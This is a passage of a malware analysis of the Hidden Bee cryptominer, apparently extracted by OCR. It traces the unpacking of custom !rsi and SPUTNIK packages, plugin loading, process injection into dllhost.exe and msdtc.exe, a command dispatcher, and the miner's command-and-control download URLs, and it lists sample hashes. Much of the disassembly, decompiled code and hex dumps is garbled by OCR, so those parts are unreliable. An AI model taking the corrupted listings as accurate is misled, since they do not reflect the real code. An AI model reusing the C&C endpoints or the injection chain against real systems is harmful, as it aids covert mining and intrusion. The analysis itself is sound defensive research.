00000040 aa aa aa ££ 30 £f 50 04 f£f e0 58 &b cc &b 40 &3 ....0.F...K.....
00000050 ea 08 52 51 50 e& 50 03 00 00 c3 55 8b ec 83 ec ..RQPF.P....0..

000000680 Oc 8k 45 08 8% 45 f£c 8b 45 0Oc 89 45 f£3 83 65 £4 ..E..E..E..E..e.
00000070 00 b 07 8k 45 £4 40 89 45 £4 8k 45 £4 3b 45 10 ....E.Q.E..E.;E.
00000080 73 12 Bk 45 fc 03 45 £4 gk 44 £8 03 4d £4 8a 05 s..E..E..M..M...
000000590 28 08 eb 4df cB c3 8b 54 24 04 Bk 44 24 Oc 58 8k ....... Ts..02.V.

Inside the injected part, the execution follows a similar path: preload loads the coredll and
redirects to its Entry Point. But then, another path of execution is taken.

The parameter passed to the coredll decides which round of execution it is. On the second
round, another injection is made: this time to dllhost.exe. And finally, it proceeds to the final
round, when other modules are unpacked from the BABECAFE filesystem.
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v ¥

laaa3BsE
1888388E loc_le@B385E:
1806383E mov eax, [ebptarg_4]
leae3egl dec eax
18883892 jz loc_1888313F
FIEE
18883898 dec eax
18883899 jnz to_memfree
i Y Y
Ll et 55
1888389F mov eax, offset to_unpack_spk| [1ee8313F
leea3eid jmp loc_1e883144 1888313F loc_lee@e313F:

1888313F mov eax, offset inject_to_dllhost

legas144
18883144 loc_lees3144:

leaa3lad cmp
lea@3l4s iz

eax, ebx
short to_memfree

v

il s =]

18883148 lea

18e@3148 push
188@314C push
1e@314F push
18883152 push
18883153 call
18883155 add

ecx, [ebptvar_4]
BCX

[ebp+module _handle]
[ebp+arg_8]

edi

eax ; to_unpack_spk
esp, 1l@h

Parameter deciding which path to take

The unpacking function first searches by name for two more modules: sputnik.spk and
plugins.spk. They are both in the mysterious !rsi format, which reminds us of !rbx, but has a

slightly different structure.

f..'...'.
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leeeeBl3 push
leaaadld mov

lesasels sub

leeaseld push
le@ecalA and

leeas@lE push
lepasalF lea

18886822 push
188eeB23 push
leeeed24 push
leeesa2? push
leaese2C call
18886831 mowv

166686833 add

legas3e test
10806838 jz

ebp

ebp, esp

esp, BCh

ebx

[ebptvar_C], @

esi

eax, [ebptsize]

edi

23X 3 int
offset aPkgSputnikSpk ; "/pkg/sputnik.spk”
[ebpt+arg_&] ; int
find by name

ebx, eax

esp, @Ch

ebx, ebx

short loc_leeeseay

=

le@as@sA cmp
leaasl3E jz

[ebp+size], @
short loc_leeessay

|_I*

Ll e 55

lepasadd lea
leeeedd3 push Eax ; int
leeasddd push offset aPkgPluginsSpk ; "/pkg/plugins.spk”
lesase49 push

leeecedC call

eax, [ebp+MaxCount]

[ebptarg_@2] ; int
find by name

Entering the function unpacking the first !rsi package:

The function unpacking the !rsi format is structured similarly to the !rbx unpacking. It also

starts from checking the keyword:

i # || FFFAGDT 9 push edi

| & (| FFFAGDTA push eax

i ® | FFFAGOTE call <IMP.&memcpy:=

! # (| 7FFAGDB0 push esi

I ® || FFFAGDE1 push dword ptr ss:|[lebp-2[

! ® | FFFAGDE4 push ebx
EIF guamee 1 ] call 7FFA3ZT&S to_unpack_rsi

i . push esi

i # (| 7FFAGDEE mov dword ptr ss:[febp-CJJ, eax

1 # || FFFAGOSRE €all dword ptr ds:[<&freex]

0 ® || TFEARNT4 add e=n.1C

& ‘|
ebx=007D4DED
7FFAGDE4

Bebumpl | Wopump2 | @dDump3 | B Dump4 | B Dump s | 2 watch 1 | [x=] L

Address | Hex ASCITI
007D4DES| 21 F2 73 63|B4 &3 25 D1|FE 44 03 00|58 9E 18 75 |[lrsi c)NpD..X..u
0oO7D4DF2 | F3 EBE 1A F92|09 05 FC 03 |1E &0 OF 2D |30 &C 08 00 EI-ELU..[J..ﬂ.—D1..
O07D4E09| B85 3D AF FB|11 06 51 F3|D1 FF E2 22|89 &6 AA B7|.= (..Q0Rya".f=.
0O7FD4E1D| 9B C2 D4 28 |C1 OE 48 01 |A4 F9 9E 23 |E4 BF &1 26 .M{A.H.Hu.#ﬁga&
DO7D4EZ9| 60 48 99 E8|54 6&C 2C 57|69 FE 60 56|2E 1C D1 73| H.&TT , Wi~"W..Ry
O007D4EZ9| 1A 44 FE F2 |94 63 C1 4D |54 9F E3 4A|BS OE D2 9A .DB::'}.CJU-'IT.EJ..G.
MNN7TNAFAG | 44 47 CC RMNIARA4A 14 AR FRI4AT A9 74 IR |17 49 4GE 141 Iq101* areralT
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18883765 push ebp

18883766 mov ebp, esp

18883768 mov eax, 1528h

leee37el call _chkstk

18883772 mov eax, [ebptsrc]

18683775 and [ebp+Dst], @ Checking “Irsi”
1883779 and [ebptvar_1C], @
1883770 push ebx

1888377E cmp dword ptr [eax], 'isr!’
18883784 push esi

18883785 push edi

keyword

As mentioned before, both !rsi packages are used to store filesystems marked with the
keyword “SPUTNIK?”. It is another custom filesystem invented by the Hidden Bee authors that
contain additional modules.

IR

1eea3894 push 7 ; Size

leea389C push offset aSputnik ; "SPUTNIK"

18883341 push edi ; Bufl “ i .

168083842 call memcmp The “SPUTNIK” keyword is checked after the
1eee33A7 add esp, BCh

le@a3s,A test eax, eax

1@8e33AC jnz loc_1e@a3909

module is unpacked
Unpacking the sputnik.spk resulted in getting the following SPUTNIK module:
455738924b7665e1c15e30cf73c9c377

dec dword ptr ssi[febp-3]
~ | jne FFFAZ843

push 7

push 7FFAGES18 TFFAGB18: "SPUTNIK™
push edi

call <IMP.&memcmps=
add esp,C

test eax,eax

v | jne FFFA39D9

cmp dword ptr ds:[edi+28],30 30:"0"
- ine 7FFA39D9

<IMP . &memcmps

7FFAZBAZ

Bpumpl | BeDump2 | @ Dump3 | B Dump4 | B Dump 5 8 watch 1 | 1x=lLocals

Address | Hex ASCITI

01770020 |53 50 55 S54|4E 49 4B 06|30 &C 08 00|00 00 OO0 OO SPUTHNIK.O0Tl......
01770030 40 6B 08 00 |AD 6B OB 00|00 &C OS5 OO|00 OO OO0 OO(2k.. kK...Tl......
01770040 |08 00 OO OQO|O08 OD OO0 OOD|30 OO0 OO0 QO|(O00 OD OO0 OO0 ioeenana Meocoooa
01770050 | 00 OO0 OO QO|00 OO0 OO0 OO0 |00 OO0 OO0 Q0[O0 0D O0 00| i isenssssanannns
01770060 | 4E &2 4C 01|05 00 OO0 OZ |00 O3 OO0 OO0|BO BO 02 OO NSL.e.eew e g
01770070 |00 OO0 OO 10|00 OO0 OO0 OO(0D OO OO0 OD(CO BB 02 00| .cveeaenanas AL

It is worth noting that the unpacked filesystem has inside of it four executables: two pairs
consisting of NS and PE, appropriately 32 and 64 bit. In the currently-analyzed setup, 32 bit
versions are deployed.

The NS module will be the next to be run. First, it is loaded by the current executable, and
then the execution is redirected there. Interestingly, both !rsi modules are passed as
arguments to the entry point of the new module. (They will be used later to retrieve more
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components.)

 EE XN ENE NN N NI

(_____________________.

TR W T W

TFFA3AL3

7FFA3A19
TEFA3ALC
7EFA3ALF
7FFA3A22

CIe R

s
push eax
call =<IMP.&memcpy=
mov eax,dword ptr ss:|[febp+10]
add esp,C
mov dword ptr ds:[edi+C],eax
mov dword ptr ds:[edi+s],esi
push dword ptr ss:[lebp-Cj

call edi
push esi
call dword ptr ds:[<&freex]

.

L 1 | g tbmn

edi+CiL"H]™

call_another_ns_module

7FFA3IAZE

edi=00250300

Calling the

24 Dump 1

B4y Dump 2

B4y Dump 3

B4y Dump 4

bl Dump 5 | B watch 1 | [x=] Locals |

Address

Hex

ASCII

00250000
00250010
00250020
00250030
00250040
00250050
00250060
00250070

o0
00
o0
80
oo
80
80

oo
o0
oo
iD
03
D
47

00
0o
0o
02
0o
02
02

10
0o
0o
o0
00
0o
0o

05
oo
o0
oo
40
50
oo
00

00
00
0o
0o
oz
1A
2A
4F

o0
o0
o0
o0
o0
o0z
oo
o0

newly-loaded NS executable

03
oo
oo
o0
oo
o0
oo
oo

o0
o0
50
B0
oo
oo
80

03
oo
96
Al
oo
03
D
47

0o
00
0z
02
oo
0o
02
02

00
00
0o
0o
o0
00
0o
0o

80
co
75
EE
oo
20
40
40

BO
=33
00
oC
o0
00
00
00

Sixth stage: mpsi.dll (unpacked from SPUTNIK)

o0z
o2
o0
o0
o0
o0
oo
o0

o0
oo
oo
o0
oo
65
48
)

Entering into the NS module starts another layer of the malware:

[EF—* | o025 0300 nop

@ 00250301 nop

@ 00250302 nop

®( 00250303 call 25031C call to_main_func
EE—e | 00250308 or byte ptr ds:[eax],bh

® | 0025030C dec eax

® ([ 00250300 add byte ptr ss:[lebpll,bl

® (00250310 add byte ptr ds:[eax],al

®( 00250312 add byte ptr ds:[eax],al

®( 00250314 add byte ptr ds:[eax],al

®(DD250316 add byte ptr ds:[eax],al

®( 0D250318 add byte ptr ds:[eax],al

@ 00250314 add byte ptr ds:[eax],al

®( 0025031C pop ecx to_main_func

®(( 0025031D mov eax,dword ptr ss:[fesp+4]

®( 00250321 push dword ptr ds:[ecx+8] o

®( 00250324 push dword ptr ds:[ecx+4] 'rsi + size (module #1)

® ([ DD250327 push dword ptr ds:[ecx] 'rsi + size (module #2)

®( 00250329 push eax the current module base
g call 250DE7 main_function

@ 0025032F ret 4 —

(N 1
dword ptr [ecx]=[00250308]=00607C08
00250327

PeDumpl | BYpump2 | BYDump3 | Y Dump4 | B4 Dump 5 | f watch 1 | =] Iia@ OOBES AC Eﬁﬁ?ﬁgﬂ

aAddress | Hex ASCIT - || QOOEESED | 005DO04S
00607FCO8|1E 45 03 00|21 72 73 69|B4 63 29 D1|FE 44 032 00| .E..!rsi ciNpD.. ggggg?g; ?Egggggg
o0e07C18 |58 9E 18 75 |F3 EBE 1A F9 |09 05 FC 03 |1E &D OF 2D X..uﬁELy..ﬂ:.m.— DDDEEEBC 00250000
00607FC2E8| 30 &C 08 00|85 3D AF FE[11 06 51 F3|D1 FF EZ 22| 01...= 0..Q0RNya" DDDEEECD 007 BCIED
00607C3E8| 89 66 AA B7 (9B C2 D4 28(C1 OE 48 01 |A4 F9 9E 23| .T=2.  AO(A.H.HU.2 DDDEE5C4 00500048
00607C4E|E4 BF 61 26|60 48 99 EB|54 6C 2C 57|69 7E 60 56| 3;3& H.BT1 Wi~V DDDaEECS OOTD4DESD
00607CSS| 2E AC D1 79|1A 44 F8 F3 |94 63 C1 4D |54 9F E3 44| ..Ry.Ded.cAMT. a1 e ||| Eerees

Entry Point of the NS module: the Irsi modules, perpended with their size, are passed
The analyzed module, converted to PE is available here:
537523ee256824e371d0bc16298b3849
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This module is responsible for loading plugins. It will also create a named pipe through which
it is will communicate with other modules. It sets up the commands that are going to be
executed on demand.

This is how the beginning of the main function looks:

if ( load ns({{ WORD *)}current _module}) }
1
vd = GetModuleHandleA{aMNtdll);
ZwQueryInformationProcess = (int)GetProcAddress(v4, aZwgueryinforma);
patch_KiUserException((int)ntdll patch);
if { !create_unique mutex(&v22) )
1
set_some_values();
set_some_values2();

load functions{current_module};
if ( rsi_pointer2 )
1

if ( rsi_pointerl }

1

create_unique _mutexl({int)&v29);
map_sputnik_fs(({int)&v20, 1lu);

i size = *(_DWORD *)rsi_pointer2;

2
-

/33;
unpacked = unpack_rsi_package(({ DWORD *)}(rsi_pointer2 + 4), rsi size);
v1l8 = unpacked;

sputnik unpacked = {int}unpacked;

Like in previous cases, it starts from finishing to load itself (relocations and imports). Then, it
patches the function in NTDLL. This is a common prolog in many HiddenBee modules.

Then, we have another phase of loading elements from the supplied packages. The path that
will be taken depends on the runtime arguments. If the function received both !rsi packages,
it will start by parsing one of them, retrieving loading submodules.

First, the SPUTNIK filesystem must be unpacked from the !rsi package:
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1
!
 EE N EEEEEENNN NN’

00254E2E

002510ES

002510C6
002510C7

002510CF
00251001
00251004
00251006

002510DF

002510E1
002510E4

002510EA
002510EB

push esi

mov dword ptr ss:|febp-CfJ,eax
call 253373

mov esi,eax

add esp,14

cmp esi,edi

mov dword ptr ss:Bebp+Cl, esi
je 2511A6

push dword ptr ds:[esi]

lea eax,dword ptr ds:[esi+4]
push eax

call 254E2B

pop ecx

test eax,eax

unpack_rsi_package

mount_sputnik_fs

* |

B4 Dump 1

Wy Dump 2

Wyboump 3 | 8% Dump4 | B Dump 5 | 2 watch 1 | [*=] Loca

Address

Hex

ASCII

01770024
01770024
01770044
01770054
01770064
01770074
01770084
01770094
017700A4
017700BE4
017700C4
01770004
017700E4
017700F4
01770104

After being unpacked, it is mounted. The filesystems are mounted internally in the memory:

53/ 50 55 54
00 DC OB 00
14 00 OO 00
64 63 6F &D
70 BB 72 Bb
63 61 6E ZE
00 00 OO0 00
o0 00 OO0 00
40 53 43 46
2C 00 OO 00
00 00 OO0 00
00 00 OO 00
69 33 28 36
81 z8 80 &3
00 00 80 &3

4E
FO
13
70
65
61
oo
o0
oo
oo
4E
oo
2F
80
oo

49 4B 06|04 DE OB 00|2C 00 0O
DC OB 0O|D4 DD OB OO|2C 00 OO
00 00 00|30 00 OO 00|63 6C 6F
75 74 65 |2E &1 7O 69|00 &4 &5
7A 65 2E|61 YO &2 00|6E &5 74
70 &9 00|00 OO OO 0O|00 00 0O
o0 00 00|00 OO OO 00|00 00 00
o0 00 00|00 00 OO 00|00 00 0O
00 00 00|D6 &3 OO 00|00 OO0 0O
o0 00 00|02 01 04 00|01 00 00
00 00 00|01 0O OO 00|80 &3 0O
00 00 OO0\ 0Q0 00 2F 00|62 &9 6E
63 6F 72|65 2E 73 64|62 00 B7
63 4E 53 |4C 01 05 00|00 03 BC
o0 00 00|00 10 OO 00|00 00 00

o0
oo
75
G5
73
o0
oo
oo
o0
oo
o0
2F
3A
o6
oo

SPUTNIK..D.. ...
B TR o
........ 0...clou
dcompute. api.dee
pfreeze, api.nets
Can.api.eeeeanns

i386/core.sdb. -
.[.C.CN5L..... .
Cannnnnnnnnns

A global structure is filled with pointers to appropriate elements of the filesystem.
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create_unique_mutexl((int)&v29);
map sputnlk fs((lnP}& /29, 1u};

vid = 3 r33;
V33 = &v33;
unpacked =
v1l8 = unpa
sputnik_un
if ( unpac
1

cked;

packed =

ked )

*{_DWORD

}'5_ pointerl;

(int)unpacked;

if { !mount sputnik fs{uhpacked + 1, *unpacked) )

1

unpack_rsi_package(( DWORD *)}(rsi_pointer2 + 4), rsi_si

plugin_name = (const char *}get next plugin_name((int *)}&arg C);
if { plugin_name )

1

current_module 1

(char *)arg C + (_DWORD)plugin_namej;

if { plugin_name < (char *)}arg_C + (signed int)}plugin_name }

do

1

_plugin_name = plugin_name;

while ( plugin_name <

Hplugin_name;
name_len = strlen{ plugin name});
plugin_path_buf = (void **)malloc(name_len + 44);

if { plugin_path_buf )

{

Sprlntf((cha' *Yyplugin_path_buf + B, path_i386_s,

va3 =

*nlugin_path_buf = &v33;
p'ug'n_ w2
t

23

} v

3_

El
33

path_buf[1] =
= plugin_path_buf;

= plugin_path_buf;

if { plugin_name == current_module 1 )

break;

if ( !"*++plugin_name )

break;

while ( plugin_name ¢ current_module 1 };
At the beginning, we can see the list of the plugins that are going to be loaded:
cloudcompute.api, deepfreeze.api, and netscan.api. Those names are being appended to

the root path of the modules.

laaallsy
laaallss
18881136
legellds
le@alldl
leeallay
laaalldl
laaallaD

push
lea
push
push
call
mow
lea
mow

ebx

eax, [esi+d]

offset path_i386 s ; "/bin/i386/%s"
eax 3 Dest

ds: imp sprintf

eax, [ebptvar 8]

ecx, [ebptvar_C]

[esi], ecx

current_module_1 && *plugin_name )

_plugin _name);// "/bin/i386/" + plugin_name

Each module is fetched from the mounted filesystem and loaded:
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. .
& 00254963 cmp dword ptr ss:|febp+CJ,0
v |je 25497D

push dword ptr ss:|[ebp-4]
push esi

push eax eax: "cloudcompute. api™
push dword ptr ss:|[febp+10]
call dword ptr =ss:[ebp+C] load_plugin
add esp,10

push esi

call dword ptr ds:[<&free=]
. 5 pop ecx

@ | 00254985 pop esi
L

1| 1]

dword ptr [ebp+C]=[0006ES08]=002543E3

00254977

000GES 38
004BD3582| "cloudcompute. api™
006e3C1CO
00001300
004BD3I7O
00001900
O00GES 40

4% Dump 1 | Wy Dump 2 | W4 Dump 3 Wy Dump 4 | W4 Dump 5 5 watch 1 | [2e=] LoqE| o1

Address | Hex

0063C1C0O|4E 53 4C 01(04 00 80 02|05 03 OO OO|00 19 OO0 OO
0063C1D0O (00 00 OO0 10|00 OO0 00 00|00 00 OO OO|FE E4 OO0 0O
0063C1EQ (00 00 OO 00|00 00 00 00|44 10 OO OO(78 0O OO OO

Calling the function to load the plugin
Consecutive modules are loaded one after another in the same executable memory area.
After the module is loaded, its header is erased. It is a common technique used in order to

make dumping of the payload from the memory more difficult.

The cloudcompute.api is a plugin that will load the miner. More about the plugins will be
explained in the next section of this post.

Reading its code, we find out that the SPUTNIK modules are filesystems that can be
mounted and dismounted on demand. This module will be communicating with others with
the help of a named pipe. It will be receiving commands and executing appropriate handlers.

Initialization of the commands’ parser:

18883683 push seh

leeB36B5 push ebx

leeB36Be push dword ptr [esi]
1eee36B8 call sub_ 1@88896FA
1883680 push dword ptr [esi]
1eB836BF call setup commands

le@aseCd mov ebx, BFFFFDBEEh
1eee36C9 push offset aPackage ; "package”
1e8836CE push ebx ; int

leeB3eCF push dword ptr [esi] ; int
leee360l call sub_leesgsdl

leae36D6 push offset aloaded ; "loaded”
18@8360E push @FFFFFFFFh ; int
1883600 push dword ptr [esi] ; int
18e836DF call sub_ 18289641

1e@B36E4 push BFFFFFFFDh

188836ER push dword ptr [esi]

1e@B36ES call sub_leeeslze

188836ED mov edi, offset aSputnik_®@ ; "sputnik”
18@836F2 push edi ; Str
18@836F3 push @FFFFFFFEh ; int

18@836F5 push dword ptr [esi] ; int
1epe36F7 call cmd_init_name

The function setting up the commands: For each name, a handler is registered. (This is
probably the Lua dispatcher, first described here.)
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int _ cdecl setup commands(int cmds)
1
cmd_init handler({cmds, (int)cmd _decode, @);
cmd_init name(cmds, -2, aDecode);
cmd_init_handler(cmds, (int)cmd_mount_sputnik_fs, @);
cmd_init _name(cmds, -2, aMount});
cmd_init handler({cmds, (int)cmd_dismount_sputnik_fs, @);
cmd_init_name(cmds, -2, aDismount);
cmd_init _handler{cmds, (int)sub_ 18883934, @);
12| omd_init_name(cmds, -2, aMounted);
11| emd_init_handler(cmds, (int)sub 18883939, @);
12| omd_init name{cmds, -2, aUpdate);
13| emd_init_handler(cmds, (int)leoad_and_run_modules, @);
14| emd_init name(cmds, -2, aload};
15| emd_init_handler(cmds, {int)sub_ 10883648, 8);
16| comd_init _name(cmds, -2, aSleep);
17| emd_init_handler(cmds, (int)to_download_ something, @);
13| omd_init_name(cmds, -2, aGet);
19| emd_init_handler(cmds, (int)to get tcp stat, @);
28| omd_init _name(cmds, -2, aEstab);
21| emd_init_handler(cmds, (int)cmd_get_random_buffer, @);
22| eomd_init _name(cmds, -2, aRandom};
23| eomd_init_handler({cmds, (int)cmd_read_registry key, 8);
24| comd_init _name(cmds, -2, aRead);
25| emd_init_handler{cmds, (int)cmd_set_registry wal, @);
26| omd_init_name(cmds, -2, akrite);
27| omd_init_handler(cmds, (int)sub 18684267, @);
28| return omd_init name(cmds, -2, aCleanup);
29}

(X QR VR W, I O T 8 T B

When plugins are run, we can see some additional child processes created by the process
running the coredll (in the analyzed case it is inside rundll32):

] Ia@ METFXRepair e 3308 Microsoft MET Framewarl: 4.
= | Jrundl3Z exe < 0.1 3704 K he24 K 3740 Windows host process (Run.
= (- madtc.exe 16432 K 15244 K 6588 Microsoft Distributed Transa..

[m 77 dlhost exe 0.56 1520 K 485 K BETE COM Sumogate

Also it triggers a firewall alert, which means the malware requested to open some ports
(triggered by netscan.api plugin):
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[

¥ Windows Security Alert

@ Windows Firewall has blocked some features of this program

Windows Firewall has blocked some features of Windows host process (Rundll32) an all public
and private networks,

] Mame: indows host process (Rundll32

Publisher: Microsoft Corporation
Path: C\windows\system 32Yundll32. exe

Allow Windows host process (Rundll32) to communicate on these networks:
[T Private networks, such as my home or work network

Public networks, such as those in airports and coffee shops (not recommended
because these networks often have lite or no security)

What are the risks of allowing a program through a firewall?

[ @:‘Mluw access ] [ Cancel ]

We can see that it started listening on one TCP and one UDP port:

] rundii32.exe:3740 Properties = Ech ="
| Image I Performance | Performance Graph I Threads
TCP/IP | Security | Enviranment | Strings
Resolve addresses

F'm;n... Local Address Remote Address State

TCP testmachine:3000 testmachine:0 LISTEMING
upp testmachine: 1700 =~

The plugins

As mentioned in the previous section, the SPUTNIK filesystem contains three plugins:
cloudcompute.api, deepfreeze.api, and netscan.api. If we convert them to PE, we can see
that all of them import an unknown DLL: mpsi.dil. When we see the filled import table, we
find out that the addresses have been filled redirecting to the functions from the previous NS

module:
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https://malshare.com/sample.php?action=detail&hash=62a44aace15cb728f1f5f96a1c2a4a37
https://malshare.com/sample.php?action=detail&hash=95a2387f103608f6eebcc64a01aefece
https://malshare.com/sample.php?action=detail&hash=4b2d33b818f53377620ac159e9f8a613

Offset Mame Func, Count Bound? CriginalFirstThun
1044 5 FALSE 114C
1058 ntdll.dll B FALSE 1164
106C KERMEL32.dII 21 FALSE 10E3
1080 ADVAPIZ2.dI 10 FALSE 10BC
1084 MSVCRT.dII 2 FALSE 1140
mpsi.dll [ 5 entries ]

Call via Marne Ordinal Original Thunk  Thunk
100 - 3 20000003

1014 - 1 80000007

1018 - 4 8000000

101C = 5 20000005

1020 - 2 20000002

So we can conclude that the previous element is the mpsi.dll. Although its export table has
been destroyed, the functions are fetched by the custom loader and filled in the import tables
of the loaded plugins.

First the cloudcompute.api is run.

This plugin retrieves from the filesystem a file named “/etc/ccmain.json” that contains the list
of URLs:

mov ecx,dword ptr ds:[ebx+ecx4

imul ecx,dword ptr ds:[eax+4] eax+4
add ecx,eax eax: "
1ea eax,dword ptr ds:[ecx+edx+l{eax:”
push eax

push dword ptr ss:|flesp+icf]
call <IMP.&memcpy=

add esp.C

00254CD2
0025 4CD5
00254CD5
00254CDEB
0025 4CDF
00254CED

sMtp: S/ news. one
Wsstp: S Snews .
NUSSTpE S News. i
ax: " [Wsstp: //news. |

B

 EE NN NN N

00254CES

1|

o

eax=018E86F8 "[“"sstp://news.onetouchauthentication.online: 443,/miT_plug.zip.

0025 4CDF

B4 Dump 1

Address

01BEBGFS
01BEBFOE
01BEBF18
018EB728
O1BEBTF 38
O1BEBT748
018EBFL58
01BEBF &8
0O1BEBFTS
01BEBFEE
01BEEB798
018EB7AS
O1BEBFEE
01BEBFCSE
018EBFDS

B4y Dump 2 B4y Dump 3 B4y Dump 4

by Dump § | 2 watch 1 | [x=] Loz

ASCIT

[“sstp: //news.on
etouchauthentica
tion.online: 443/
mlf_plug.zip.sig
tyUsstpl S/news. o
netnuchauthent1c
ation.club: 443 /m
1f_plug.zip.sig™”
. SSTp: /S /news. on
etouchauthentica
Tion.icu: 443 ,/mlT
_plug.zip.sig","
sstp: //news. onet
ouchauthenticati
On. XyZ : 443fm1f p
O018ES7ES | 6C 75 &7 2E|7A &9 70 2E|73 &9 &7 22 |:5D oD 00 | ug.Zip- 51g ]
018EB7FEB| 4E 53 &4 86|05 00 OO0 O3 |F4 1B 00O 00| BO oD 00 | NSd d.

Those are addresses from which another set of modules is going to be downloaded:

Hex
LE
(3
74
&D
22
BE
61
B
2C
(3
74
EF
73
&F
&F

22
74
69
&
2C
&5
74
66
22
74
69
70
73
75
&E

73
&F
BF
(15
22
74
69
5F
73
&F
BF
&
4
63
2E

73
75
6E
EF
73
&F
&F
70
73
75
6E
75
70
8E
78

74
63
ZE
70
73
75
GE
6
74
63
ZE
&7
3A
61
79

70
68
&F
&
74
63
2E
75
70
68
[
2E
2F
75
TA

3A
61
6E
75
70
68
63
67
3A
61
63
TA
2F
74
3A

2F
75
6
&7
3A
61
&
2E
2F
75
75
69
&E
68
34

2F
74
[
2E
2F
75
75
TA
2F
74
3A
70
85
[
34

GE
68
6E
7A
2F
74
&2
69
GE
68
34
2E
77
GE
33

(51
G5
B85
69
BE
6E
IA
7o
(51
G5
34
73
73
74
2F

77
GE
3A
70
65
[
34
2E
77
GE
33
89
2E
89
&D

73
74
34
2E
77
GE
34
73
73
74
2F
&7
&F
63
&

2E
69
34
73
73
74
33
69
2E
69
(0]
22
&E
61
66
o0
46

&F
63
33
69
2E
69
2F
67
&F
63
6
2C
65
74
EF

GE
61
2F
&7
&F
63
&D
22
GE
61
66
22
74
69
70

["sstp://news.onetouchauthentication.online:443/mlf_plug.zip.sig", "sstp://news.onetouc
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It also retrieves another component from the SPUTNIK filesystem: /bin/i386/ccmain.bin. This
time, it is an executable in NE format (version converted to PE is available here:
367db629beedf528adaa021bdb7c12de)

mov ebp,esp
sub esp,258
push ebx

push esi
push eax
push 281610
xor esi,esi
xor ebx,ebx
call 250280
pop ecx
omp eax,esi
pop ecx

w« | je 280789

mov eax,2?81500
push edl

mov ecx, eax
mov dword ptr
TEsST aC,acX
mov dword ptr

mov dword ptr
s BBATES

lea eax,dword ptr ss:[lebp

ebp-B
ebp-4

],:51533

1208

mov dword ptr ss:lfebp-14],eax

ss:[jebp-Cl,eax

s 851

281610:"/bins1386//ccmain.: bin®

Toad_element

2B15D0: L"%Systemr ootk msdtc. exe

2B1590: L"HSystemr ootk msdt. exe™

a3l

Woump 1 | goump2 |

Yoump3 | Ghoump4 | Whoumps | B watchi | b-ltocas | i stuct |

Address ql-lmr.
00630AD0 (S5 45 _4( 01 (ED

00&3DAED | 0O DD DO OO (00
DOG3IDAFO |00 OO 00 00 (0D
0063DB00 | 0O DO 00 OO0 (00

This is the componen‘tﬁtﬁ’éf isﬁfnféciéd [

00
00
00
o0

a0
o0
00
oo

nto mgdtc.exe.

Q:'i‘ msdtc.exe (6912) Properties

| General | Statistics | Performance | Threads | Token I Modules| Memary | Environment | Handles | Comment

Hide free regions

Base address

4 Owz0000
Oxad0on

Type

Mapped
Mapped: Com...

Size  Protect...

Use

116 kB RWX
116 kB RWX

I

# | msdtc.exe (6912) (0xa0000 - 0xbd000)

000a00aa
Q0000010
00000020
00000030
00000040
00000050

ig
]
[uu]
]
[ufu]
[uu]

43
a0
a0
a0
a0
a0

ic
]
an
an
]
]

01
aa
a0
a0
a0
a0

el
]
aa
]
]
]

a0
a0
a0
a0
a0
a0

a0
aa
a0
a0
a0
aao

a0
oo
a0
0o
ao
ao

a0
aa
a0
a0
a0
a0

a0
a0
a0
a0
a0
a0

HiddenBee module mapped into msdtc.exe
The configuration is also copied into the remote process and is used to retrieve an additional

package from the C&C:

a0
Qo
a0
a0
a0
a0

a0
aa
a0
a0
a0
a0

a0
oo
a0
a0
a0
a0

a0
a0
a0
a0
a0
a0

a0
aa
a0
a0
a0
aao

Ta

The
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https://malshare.com/sample.php?action=detail&hash=367db629beedf528adaa021bdb7c12de

This is the plaggin régpgnéfblgfaF Jav;ﬁlgédirﬁwgnénﬁci cfépiaying the Mellifera Miner: core

component of the Hidden Bee.

Next, the netscan.api loads module /bin/i386/kernelbase.bin (converted to PE:

d7516ad354a3be2299759cd21e161a04)

70 & || oo0A1187 push eax
b e| 000A1188 push 202
P & (| 000A118D add esi,edi esi:"[\"sstp://
b - €dall dword ptr ds:[<&WSAStartup=]
: i ® ([ 00041195 test eax,eax
i !V or----#| DO0AL197| ~ |jne AllAG6
Pl e oooDAl199 push esi esii"[\'sstp: /S
P # || 000A119A push AO7ZE
H]ﬂ—:—)i call ai3so download_module
b e 0O00AL1AS pop ecx
P e | DODAL1AS pop ecx
—-L— e | 000AL1AG pop edi
# (| 000DAL1AT pop esi esi:"[\"sstp://
# | 000A11A48 Teave
L] ret =
# (| o00AL1IAC push dword ptr ss:|esp+&j)
® || 0O0ALIRD mov eax,dword ptr ss:|esp+i]
@ || oAt aDa EE Awimed nte HAos FTaswd
« |
0o00AL1Z50
000A119F
WeDump1 | @yDump2 | WYoump3 | W4pump4 | @Woumps | @ watch1 | el
Address | Hex ASCIT
O0OBCB80 (5B 22 73 73|74 70 3A 2F|2F 6E &5 77|73 2E 6F &E||[["sstp://news.on
ODOBCBO0 (65 74 6F 75|63 68 61 75|74 68 65 &E|74 69 &3 61| etouchauthentica
ODOBCBAD| 74 69 6F GE|2E 6F 6E 6C |69 GE &5 3A|34 34 33 2F | tion.online: 443/
O0OBCBBO (6D &C 66 SF(70 &C 75 &7 |2E 7A &9 FO|2E 73 69 &7 |(mlfT_plug.zip.sig
OOOBCBCO (22 2C 22 73|73 74 70 3A|2F 2F 6E &5 |77 73 2E &F|™,"sstp://news.o
OO0OBCBDO(6E &5 74 6F (7% &3 &8 61|75 74 &8 65 |6E 74 69 &3 | netouchauthentic
ODOBCBED |61 74 69 6F|(GE 2E 632 6C |75 62 3ZA 24|34 323 2F &D|ation.club:443/m
OO0BCBFD| &C &6 SF 7FO|&C 75 &7 2E(7A 69 7O 2E(73 69 &7 22| 1f_plug.zip.sig"
OO0OBCR00 | 2C 22 73 73|74 70 3A 2F|2F 6E &5 77|73 2E 6F &E| ,"sstp://news.on
O00OBC910 (65 74 6F 75|63 68 61 75|74 68 65 &E|74 69 63 61| etouchauthentica
QODOBC920 |74 69 6F GE|2E 69 63 75|3A 34 34 332 |2F 6D 6C 66| tion.icu: 443/mlf
O0OBCO30(S5F 70O &C 75 (67 2E FA 69|70 2E 73 69|67 22 2C 22| _plug.zip.sig”,™
OOOBCO40 (72 72 74 70(3A 2F 2F GE|65 77 73 2E|6F &E &5 74|sstp://news.onet
O00OBCOS0|(&6F 75 &3 68|61 75 74 68|65 6E 74 69|63 61 74 &3|ouchauthenticati
ODOBCOG0 | 6F 6E ZE 78|79 7A 3A 34|34 33 2F 6D |6C 66 S5F 7O|on.XyZ:443/mlf_p
O000BCS70| &C 75 &7 2E|7A 69 7O 2E(73 &9 &7 22|5D 00 00 00| lug.zip.sig"]...

006412F0
00641300

00 00 OO 00|00
00 00 OO 00|00

o0 00 00|00 9E OO OO|B4 00 OO OO0

